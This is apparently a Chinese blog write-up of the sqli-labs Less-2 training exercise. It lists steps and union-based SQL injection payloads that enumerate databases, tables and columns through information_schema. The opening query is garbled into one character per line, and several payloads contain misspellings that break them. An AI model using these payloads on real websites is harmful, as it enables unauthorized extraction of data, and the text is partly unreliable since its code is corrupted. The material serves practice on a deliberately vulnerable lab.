**sql-lib中的less-2**
#
s
q
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
W
H
E
R
E
i
d
=
sql="SELECT * FROM users WHERE id=
sql="SELECT∗FROMusersWHEREid=id LIMIT 0,1";
分析步骤
1.判断是否有注入
1)可控参数的改变能否影响页面显示结果。
2)输入的sql语句是否能报错-能通过数据库的报错,看到数据库的一些很近(让数据库后台提示报错源代码)
3)输入的SQL语句能否不报错-就是尝试输入正确的语句大致推测源代码形成闭合
2.什么类型的注入
整形注入
3.语句是否能被恶意修改(加and 0)
4.语句是否能被成功执行
能
5.获取我们想要的数据
###了解数据库的基本结构
数据库->表->字段->值
1))数据库:1.要想用union先获取数据表有几个字段
2.order by 列数或union select 1,2 ,3 ,4(1,2,3,4是占位符号)
3.union select 1,schemata_name,33333 from infromation_schema.schemata 23%(23%代表#,#号是注释,就显示一条)
4.?id=33333 union select 1,group_concat(schema_name),33333 from information_schema.schemata #(group_concat显示多条数据)
5.知道所有的数据库了,查询当前数据库
![在这里插入图片描述](https://img-blog.csdnimg.cn/5366571977994f81bf710a54be75653f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAd2VpeGluXzQ1NzUxNjQ2,size_20,color_FFFFFF,t_70,g_se,x_16)
(12345为胡乱输入的让前面查询失效结果显示后面的)
6.查询当前数据库的所有表名字
?id=12245 union select 1,group_concat(table_name),3333333 from information_schema.tables where table_schema=database() %23
7.找到一个表例如user
?id=12245 union select 1,group_concat(column_name),3333333 from infromation_schema.columns where table_schma=database() and table_name=‘users’ %23(由此知道user表的字段)
8.任意表的字段已经知道可以查询